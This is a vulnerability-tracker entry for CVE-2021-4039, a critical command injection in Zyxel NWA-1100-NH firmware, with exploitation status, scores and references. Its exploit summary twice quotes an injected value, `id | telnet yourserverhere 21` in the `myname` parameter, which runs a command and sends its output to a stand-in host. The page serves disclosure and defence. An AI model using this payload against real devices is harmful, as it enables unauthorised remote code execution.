CVE-2021-4039

CRITICAL EXPLOITED IN THE WILD

Zyxel NWA-1100-NH - Command Injection

Title source: llm
STIX 2.1

Exploitation Summary

CVE-2021-4039 has been observed exploited in the wild (reported by VulnCheck KEV, InTheWild.io). EIP tracks 1 public exploit from researchers including Ahmed Alroky.

AI-analyzed exploit summary This exploit demonstrates a command injection vulnerability in Zyxel NWA-1100-NH devices. The HTTP POST request injects a command (`id | telnet yourserverhere 21`) into the `myname` parameter, allowing remote code execution.

Description

A command injection vulnerability in the web interface of the Zyxel NWA-1100-NH firmware could allow an attacker to execute arbitrary OS commands on the device.

Exploits (1)

exploitdb WORKING POC
by Ahmed Alroky · textremotehardware
https://www.exploit-db.com/exploits/50870

This exploit demonstrates a command injection vulnerability in Zyxel NWA-1100-NH devices. The HTTP POST request injects a command (`id | telnet yourserverhere 21`) into the `myname` parameter, allowing remote code execution.

Classification
Working Poc 90%
Attack Type
Rce
Complexity
Trivial
Reliability
Reliable
Target: Zyxel NWA-1100-NH (all versions before 2.12)
No auth needed
Prerequisites: Network access to the target device · Target device running vulnerable firmware
devstral-2 · analyzed Feb 16, 2026 Full analysis →

References (2)

Core 2
Core References
Exploit, Release Notes, Third Party Advisory, VDB Entry x_refsource_misc
http://packetstormsecurity.com/files/166752/Zyxel-NWA-1100-NH-Command-Injection.html

Scores

CVSS v3 9.8
EPSS 0.7170
EPSS Percentile 98.8%
Attack Vector NETWORK
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Details

VulnCheck KEV 2022-05-26
InTheWild.io 2022-05-26
CWE
CWE-78
Status published
Products (1)
zyxel/nwa1100-nh_firmware < 2.12\(aasi.3\)c0
Published Mar 01, 2022
Tracked Since Feb 18, 2026